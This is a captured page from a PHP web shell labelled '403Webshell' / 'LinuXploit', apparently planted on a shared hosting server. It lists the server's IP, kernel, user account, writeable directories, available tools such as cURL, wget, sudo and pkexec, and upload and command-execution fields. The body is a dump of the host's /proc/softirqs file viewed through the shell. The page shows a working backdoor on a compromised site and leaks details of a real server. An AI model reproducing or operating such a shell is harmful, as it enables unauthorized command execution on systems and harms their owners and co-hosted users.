403Webshell
Server IP : 162.241.253.219  /  Your IP : 216.73.216.50
Web Server : Apache
System : Linux box5823.bluehost.com 5.14.0-687.25.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 13 11:40:33 EDT 2026 x86_64
User : aienetco ( 2034)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          2          0          0          0          0          1          0          2          0          0          0          0          0          0          0          0
       TIMER:   44941263   30087250   49324206   52043143   60161933   32063473   52353837   32557497   50838275   32215940   41980683   27011509   40462894   27178143   39428951   26651462
      NET_TX:          0          0          1          3          4          1          2          2          2          3          6          0          0          0          2          0
      NET_RX:   19261960    9362573   18045211  445295359  482537917   13375314   27393356   35524496  352649232   40704340   27524404  321581788   50389264  159651706   20984813   52415918
       BLOCK:          0          0          0          0          0          0         31          0          0          0          2          0          0          0          0         14
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:     152371      47371     125380     674095   16734066     157666     463655    1958261   17429356    1733171     498450   21674294    2281189   10275732     189410    3028899
       SCHED:  613027023  407996977  219014343  200465179  206538892  129701411  190880758  116717515  192547412  111076706  185096198  107423818  181990733  106435817  179506541  105862484
     HRTIMER:          1          2          1      48168      36937          1          9          1      18297          3          7          3          1          4          1          1
         RCU:  929540226  616669604  914487710  717094381  954422765  588920403  964678013  578158524  960099170  588700783  953746501  591936623  948759045  593195964  951957428  597525723

Youez - 2016 - github.com/yon3zu
LinuXploit